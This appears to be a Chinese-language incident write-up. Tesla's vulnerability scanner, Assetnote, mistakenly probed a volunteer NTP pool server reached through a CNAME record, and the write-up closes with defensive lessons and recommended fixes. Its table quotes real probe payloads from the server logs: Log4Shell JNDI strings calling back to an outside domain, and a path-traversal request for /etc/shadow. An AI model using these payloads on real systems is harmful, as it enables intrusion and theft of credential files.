特斯拉的 Assetnote 扫描器错误地将志愿者 NTP 服务器作为目标
TL;DR
特斯拉的第三方漏洞扫描器（Assetnote）错误地将一个志愿者 NTP 池服务器——pool-ntp.tesla.com——识别为特斯拉所有，并对其发送了数千次自动化漏洞利用尝试，包括 Log4Shell、SSRF 和通用 Web 应用探测。
实际发生了什么？
三个 AWS IP 地址（
54.165.75.96、35.168.63.24、52.44.200.251）向一台个人服务器发起了大量 HTTP 请求，该服务器也运行着一个 NTP 池实例（67.215.249.229）。请求中设置了
Host或Referer头部，值为pool-ntp.tesla.com。User-Agent 字符串为
Assetnote/1.0.0 (ExposureScan)，表明流量来自 Assetnote 的持续暴露扫描平台（现 marketed as Searchlight Cyber）。载荷包括 JNDI 风格的 Log4Shell 向量、SSRF 模板、路径遍历尝试、WordPress 探测以及各种 Web Shell 上传尝试。
自 2026 年 8 月 21 日以来已记录超过 50,000 次请求，其中两天内约有 8,000 次。
服务器返回了非标准的 HTTP 299 状态码和一段纯文本说明，但扫描活动仍在持续。
为什么扫描会针对这个服务器？
错误解析的 CNAME 链
- 特斯拉的 DNS 条目——
pool-ntp.tesla.com是一个指向pool.ntp.org的 CNAME。 - NTP 池的行为——
pool.ntp.org是一个轮询 DNS 服务，会解析为全球任何志愿者 NTP 服务器，包括本例中的操作者机器。 - Assetnote 的资产发现机制——Assetnote 似乎枚举了
tesla.com下的每个主机名，解析其结果，并将所有生成的 IP 地址视为在扫描范围内的资产。 - 结果——扫描器将操作者的 IP 添加到目标列表中，并开始将其当作特斯拉所有资产进行探测。
"你的资产发现似乎无意中将
pool-ntp.tesla.com能解析到的每一个 IP 都纳入了主动扫描范围。" — Robin（作者发给特斯拉的邮件）
探测流量的技术细节
| 特性 | 示例 | 目的 |
|---|---|---|
| Log4Shell / Text4Shell | GET /?a=%3Cscript src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}> |
通过回调到 *.assetnote-callback.com 检测易受攻击的 Log4j/JNDI 解析器。 |
| SSRF 检测 | GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a} |
强制目标解析 pool-ntp.tesla.com 下的主机名，并通过回调域名报告结果。 |
| 路径遍历 | GET /calendars/admin@lowlevelaccess.jlg.com/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow |
通过目录遍历载荷尝试读取 /etc/shadow。 |
| ASP.NET 技巧 | GET / (S(x))/b/(S(x))in/System.Web.Mvc.dll，Host: login.solarcity.com |
探测 ASP.NET 路由异常，可能用于访问 /bin/。 |
| 随机第三方主机名 | servicemcdonalds.com、saferas.com、disneyfineart.com 嵌入查询字符串中 |
表明扫描器重用了包含大量无关主机名的大型模板库。 |
| 内网探测 | Referer: http://192.168.178.222/... |
显示扫描器还尝试访问 RFC 1918 地址，可能是通用“扫描所有可访问端口”流程的一部分。 |
扫描器还向非 HTTP 端口（SSH、Postfix、Dovecot）发送了 HTTP 流量，表明其采用的是全范围端口扫描策略。
对受害者服务器的影响
- 无成功入侵——所有尝试均被拒绝；服务器服务保持完整。
- 日志量巨大——> 50,000 次请求，消耗带宽和 CPU 资源用于日志处理。
- 操作噪音——操作者不得不添加自定义的 299 响应和警告页面，以便任何查看日志的人能注意到该问题。
- 潜在附带损害——如果扫描器击中同一主机上的某个易受攻击的服务（例如过时的 WordPress 安装），可能导致真实入侵。
社区反应与更广泛背景
- 其他 NTP 池运营商也遭遇类似流量——名为 Matt Nordhoff 的运营商报告称，来自相同三个 AWS IP 的请求量在自己的池服务器上也类似。
- 漏洞赏金视角——一位漏洞赏金研究人员评论指出，
*.tesla.com在 Bugcrowd 上被列为在范围之内，因此自动化代理会探测该域名下解析出的任何 IP。 - 供应商区域建议——多位评论者指出，供应商应使用专用 DNS 区域（例如
ntp.tesla.com）而非通过 CNAME 指向公共池，这符合 NTP 池的供应商指南。 - 法律与补救建议——有人建议直接联系 Assetnote，向 AWS 报告，或向特斯拉的漏洞报告地址提交投诉。也有人认为此类流量“只是互联网暴露服务的新常态”。
志愿服务运营者的经验教训
- 避免为品牌子域名使用指向公共池的 CNAME——使用专用供应商区域，防止意外被第三方资产清单包含。
- 监控意外的
Host/Referer值——扫描器通常重用模板，其中嵌入目标主机名；异常值可能表明误标。 - 实施速率限制和自定义状态码——操作者采用的 299 响应是一种巧妙方式，可在不破坏合法客户端的情况下标记可疑流量。
- 与扫描供应商保持联系渠道——Assetnote（Searchlight Cyber）通常对误报报告响应迅速；提供简洁的邮件并附上日志片段可触发白名单。
- 将 IP 级别阻断作为最后手段——阻断三个 AWS IP 可停止噪音，但也可能阻断其他客户的合法扫描。
特斯拉（和 Assetnote）应采取什么行动？
- 修正 DNS 配置——将指向
pool.ntp.org的 CNAME 替换为特斯拉控制的专用 NTP 端点，或完全移除该子域名。 - 修复资产发现逻辑——确保任何解析到公共池的主机名都应被排除在客户扫描范围之外，除非明确授权。
- 提供补救渠道——承认操作者报告，更新扫描策略，并向 NTP 池社区发布简短声明。
- 审计其他子域名——确认没有其他特斯拉拥有的名称意外指向共享基础设施，从而引发类似的附带扫描。
总结
特斯拉的第三方扫描器错误地将一个志愿者 NTP 池服务器视为特斯拉资产，导致数千次自动化漏洞利用尝试针对一位无关爱好者的基础设施。该事件凸显了使用公共 CNAME 作为企业子域名的风险，并强调了在自动化漏洞暴露平台中谨慎定义资产范围的必要性。
Sources
相关
- Dispatch
- Dispatch
- Dispatch
- Dispatch